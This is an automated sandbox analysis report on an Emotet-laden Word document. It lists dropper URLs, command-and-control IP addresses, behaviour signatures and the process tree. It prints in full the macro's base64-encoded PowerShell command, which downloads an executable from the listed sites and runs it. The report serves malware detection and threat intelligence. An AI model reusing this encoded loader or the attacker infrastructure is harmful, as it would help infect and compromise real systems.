Analysis

  • max time kernel
    59s
  • max time network
    66s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/07/2020, 17:50

General

  • Target
    ec99c82fb7b072159cf6f439d0d7f53c2355bbeb31a963383e35ccdd6cd384d3.doc
  • Size 195KB
  • Sample200717-a5phfcc9ds
  • SHA256 ec99c82fb7b072159cf6f439d0d7f53c2355bbeb31a963383e35ccdd6cd384d3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://topgameus.com/AutoIT_UngdungOnline/zqjqel/

  • exe.dropper

    http://cpads.net/7iuhq/mri/

  • exe.dropper

    https://tyres2c.com/wp-admin/zu2h/

  • exe.dropper

    https://thesuperservice.com/wp-admin/rL00/

  • exe.dropper

    https://ssuse.com/wp-content/uploads/IMv2xyEc3/

Extracted

Family
  • emotet

C2
  • 109.117.53.230:443

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 139.59.60.244:8080

  • 91.211.88.52:7080

  • 190.108.228.62:443

  • 186.208.123.210:443

  • 46.105.131.87:80

  • 173.91.22.41:80

  • 222.214.218.37:4143

  • 31.31.77.83:443

  • 62.75.141.82:80

  • 93.156.165.186:80

  • 93.51.50.171:8080

  • 185.94.252.104:443

  • 78.189.165.52:8080

  • 95.179.229.244:8080

  • 73.11.153.178:8080

  • 203.153.216.189:7080

  • 95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ec99c82fb7b072159cf6f439d0d7f53c2355bbeb31a963383e35ccdd6cd384d3.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1152
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAFQAeQBgAHAAUgBPAHQATwBjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACAAPQAgACcANgA3ADcAJwA7ACQAYwBoAGEAaQB4AHcAZQBlAHgAPQAnAHgAYQBvAHMAJwA7ACQAYwBoAGEAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACsAJwAuAGUAeABlACcAOwAkAGoAZQBhAG0AYwBoAGEAYgA9ACcAcQB1AGEAZQBmAHkAbwB1AGwAcABvAHUAdwBqAGEAaQBoAHQAdQBhAHIAJwA7ACQAdABoAGEAZQBxAHUAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAQwBMAGkARQBuAFQAOwAkAHQAaQBhAGcAeQBvAHUAcwB2AHUAdQBiAD0AJwBoAHQAdABwADoALwAvAHQAbwBwAGcAYQBtAGUAdQBzAC4AYwBvAG0ALwBBAHUAdABvAEkAVABfAFUAbgBnAGQAdQBuAGcATwBuAGwAaQBuAGUALwB6AHEAagBxAGUAbAAvACoAaAB0AHQAcAA6AC8ALwBjAHAAYQBkAHMALgBuAGUAdAAvADcAaQB1AGgAcQAvAG0AcgBpAC8AKgBoAHQAdABwAHMAOgAvAC8AdAB5AHIAZQBzADIAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegB1ADIAaAAvACoAaAB0AHQAcABzADoALwAvAHQAaABlAHMAdQBwAGUAcgBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwByAEwAMAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBzAHUAcwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEkATQB2ADIAeAB5AEUAYwAzAC8AJwAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABiAG8AdQBtAHkAYQBvAG0AaABvAGkAegBqAGUAaQBuAGYAZQBpAHYAPQAnAGYAaQBvAHQAaABnAG8AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeABlAGUAeABjAGUAYwBoACAAaQBuACAAJAB0AGkAYQBnAHkAbwB1AHMAdgB1AHUAYgApAHsAdAByAHkAewAkAHQAaABhAGUAcQB1AC4AIgBEAGAAbwBXAG4ATABPAGAAQQBkAEYAYABpAGwARQAiACgAJAB4AGUAZQB4AGMAZQBjAGgALAAgACQAYwBoAGEAeQApADsAJABtAGEAZQByAGIAbwBlAHAAYwB1AGEAZwA9ACcAdgBlAGEAYgB0AHUAcAByAHUAdQBsAGMAaABpAGEAegBiAG8AYQBoACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAYwBoAGEAeQApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA2ADcANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIARQBhAGAAVABlACIAKAAkAGMAaABhAHkAKQA7ACQAYwBlAGMAaABjAGEAdQB0AHQAaABlAG8AcQB1AHMAbwBlAG0APQAnAGoAbwBpAGsAagBvAGEAcABkAGkAZQBzACcAOwBiAHIAZQBhAGsAOwAkAGcAYQB1AGcAeQB1AHkAcgB1AHkAeQB1AG4AYgB1AHUAZgBrAGUAcgA9ACcAdABpAGEAdwBmAGUAbwBjAGYAYQBpAHMAagBhAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwAGkAeAB3AHUAegB2AG8AYQBtAGwAdQB1AHMAagBvAG8AeQBrAGkAbQA9ACcAcwBpAGMAaABrAGUAaQBnAHYAbwBhAGMAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:1920
  • C:\Users\Admin\677.exe
    C:\Users\Admin\677.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1856
    • C:\Windows\SysWOW64\KBDAL\d3dim700.exe
      "C:\Windows\SysWOW64\KBDAL\d3dim700.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1664

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1152-2-0x00000000096A0000-0x00000000096A4000-memory.dmp

        memory/1152-5-0x000000000BD10000-0x000000000BD14000-memory.dmp

        memory/1152-6-0x000000000CD90000-0x000000000CD94000-memory.dmp

        memory/1152-8-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1664-15-0x0000000000270000-0x000000000027C000-memory.dmp

        memory/1856-12-0x00000000002F0000-0x00000000002FC000-memory.dmp